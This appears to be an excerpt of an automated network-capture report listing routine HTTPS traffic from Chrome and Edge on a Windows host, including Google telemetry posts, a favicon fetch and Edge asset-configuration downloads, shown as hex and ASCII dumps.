2024-07-24 00:39:28 UTC	522	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 31 37 38 31 35 36 35 39 31 33 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1721781565913",null,null,null
2024-07-24 00:39:28 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=516=R0LVNQFyYkRe9Hltyxd5WVsa5GVHmGvDW05aqSAbqmnWf8Zbx6XsMW2edYu9oeE2uF1KnyCAQjZPSfIHXeI7FHs9h-Dqx7SgwB32xA_jeON1neEFt21YGR5RCEa_dP1cMHMqxuGPX0sABHymJONLMc2fd4k0wiBFO_DgE8y2dXc; expires=Thu, 23-Jan-2025 00:39:28 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 24 Jul 2024 00:39:28 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 24 Jul 2024 00:39:28 GMT Connection: close Transfer-Encoding: chunked
2024-07-24 00:39:28 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-24 00:39:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49817	142.250.186.142	443	7512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:28 UTC	1084	OUT	POST /log?hasfast=true&authuser=0&format=json HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 927 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-24 00:39:28 UTC	927	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 33 2c 31 2c 30 2c 30 2c 30 5d 5d 5d 2c 35 35 38 2c 5b 5b 22 31 37 32 31 37 38 31 35 36 33 30 30 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[3,1,0,0,0]]],558,[["1721781563000",null,null,null,
2024-07-24 00:39:28 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=516=HW9VdSmEu877zNk6pR9FCcWx8Ix5dgnNCQRnPxMV_BSrTAztd4S5D7aOCjWTRHjuWQARC712WWHFAmJ9Ts7-oB1SuwAfjrk0O-MlJXRc-YHurTntCm0EC_zVHdfrpyEjM-gq6xpa0Ri-x5_CMMn6lLc0NqUTbL4nGwFPuwAP5zE; expires=Thu, 23-Jan-2025 00:39:28 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 24 Jul 2024 00:39:28 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 24 Jul 2024 00:39:28 GMT Connection: close Transfer-Encoding: chunked
2024-07-24 00:39:28 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-24 00:39:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49822	13.107.246.40	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:29 UTC	711	OUT	GET /assets/domains_config_gz/2.8.75/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:29 UTC	583	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:29 GMT Content-Type: application/octet-stream Content-Length: 79192 Connection: close Content-Encoding: gzip Last-Modified: Wed, 22 May 2024 23:09:58 GMT ETag: 0x8DC7AB44D2CA6C5 x-ms-request-id: 9b20c30d-901e-000f-1259-dd85f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240724T003929Z-15b94bb6ff9dzxg6p00hccfgqw0000000k0000000000c2n3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-24 00:39:29 UTC	15801	IN	Data Raw: 1f 8b 08 08 46 7b 4e 66 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: F{Nfasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-07-24 00:39:29 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-07-24 00:39:29 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-07-24 00:39:29 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-07-24 00:39:29 UTC	14239	IN	Data Raw: 96 38 e6 e1 28 aa 7a 68 03 ee 80 b5 3b 12 61 75 e9 1b 80 49 37 e3 81 63 57 87 03 5d 30 c4 2c 68 be 29 95 24 e0 73 e2 94 ba 7c 22 47 ea b4 f3 4a ab de 10 bb 0f 22 b0 e3 03 f1 16 c4 09 e2 54 66 ca 62 e0 bd 45 b4 68 87 69 72 a9 a8 3a 28 8c ad c8 95 24 60 28 0b c5 a8 db e3 d5 17 cd 43 46 b4 fb 46 fd a3 14 49 08 2b a0 d4 0b 48 65 a7 34 02 ce 86 25 ec 4d 18 c8 06 95 b7 db ae 2c d4 04 dd 90 c7 1a 26 c2 da 18 8e c3 e7 b6 d0 48 5c c7 b0 14 4c 7c f1 b4 2a ac 33 ac 8a 9e 31 0d 6c 3e aa 0c 15 a1 45 32 ac 4e d6 6f ba 9a 27 26 95 df 33 99 0b 20 7d af b2 62 2d 9c ea d1 32 e1 30 9b 8a 31 68 6d 15 9c 98 ab c8 c6 e3 7e e5 00 84 e0 e3 a8 2a 88 4f 2a 47 73 00 26 98 78 bc 7a 46 b8 72 83 b9 60 67 8e 22 40 d7 fa c3 ee f3 d0 41 41 2f 43 d3 eb 75 57 f1 23 82 0d a8 53 cf 60 24 25 Data Ascii: 8(zh;auI7cW]0,h)$s\|"GJ"TfbEhir:($`(CFFI+He4%M,&H\L\|31l>E2No'&3 }b-201hm~O*Gs&xzFr`g"@AA/CuW#S`$%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49745	142.250.185.228	443	7512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:29 UTC	1206	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=516=HW9VdSmEu877zNk6pR9FCcWx8Ix5dgnNCQRnPxMV_BSrTAztd4S5D7aOCjWTRHjuWQARC712WWHFAmJ9Ts7-oB1SuwAfjrk0O-MlJXRc-YHurTntCm0EC_zVHdfrpyEjM-gq6xpa0Ri-x5_CMMn6lLc0NqUTbL4nGwFPuwAP5zE
2024-07-24 00:39:29 UTC	704	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 24 Jul 2024 00:33:57 GMT Expires: Thu, 01 Aug 2024 00:33:57 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 332 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-24 00:39:29 UTC	686	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-07-24 00:39:29 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 f9 fe ff a5 ac f6 ff 5d 69 ee ff 3c 4a eb Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv]i<J
2024-07-24 00:39:29 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 ff 54 a8 35 ff 53 a8 34 ff 77 a0 37 ff e3 89 41 ff f4 85 42 ff f4 85 42 ff fc Data Ascii: S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{dT5S4w7ABB
2024-07-24 00:39:29 UTC	1390	IN	Data Raw: f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBF!4I
2024-07-24 00:39:29 UTC	574	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 27 fd fd fd 9f fd fd fd f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: $'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49823	13.107.246.40	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:29 UTC	486	OUT	GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: ArbitrationService Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:29 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:29 GMT Content-Type: application/octet-stream Content-Length: 11989 Connection: close Last-Modified: Wed, 10 Jul 2024 22:08:29 GMT ETag: 0x8DCA12CD4988DF1 x-ms-request-id: 14837c40-701e-004a-7559-dd5860000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240724T003929Z-15b94bb6ff9hzj67et992uy4mg0000000140000000008xfr Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-07-24 00:39:29 UTC	11989	IN	Data Raw: 7b 0d 0a 20 20 22 63 6f 6e 66 69 67 56 65 72 73 69 6f 6e 22 3a 20 33 32 2c 0d 0a 20 20 22 50 72 69 76 69 6c 65 67 65 64 45 78 70 65 72 69 65 6e 63 65 73 22 3a 20 5b 0d 0a 20 20 20 20 22 53 68 6f 72 65 6c 69 6e 65 50 72 69 76 69 6c 65 67 65 64 45 78 70 65 72 69 65 6e 63 65 49 44 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 43 4f 55 50 4f 4e 53 5f 43 48 45 43 4b 4f 55 54 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 4c 4f 57 45 52 5f 50 52 49 43 45 5f 46 4f 55 4e 44 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 42 49 4e 47 5f 53 45 41 52 43 48 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 52 45 42 41 54 45 Data 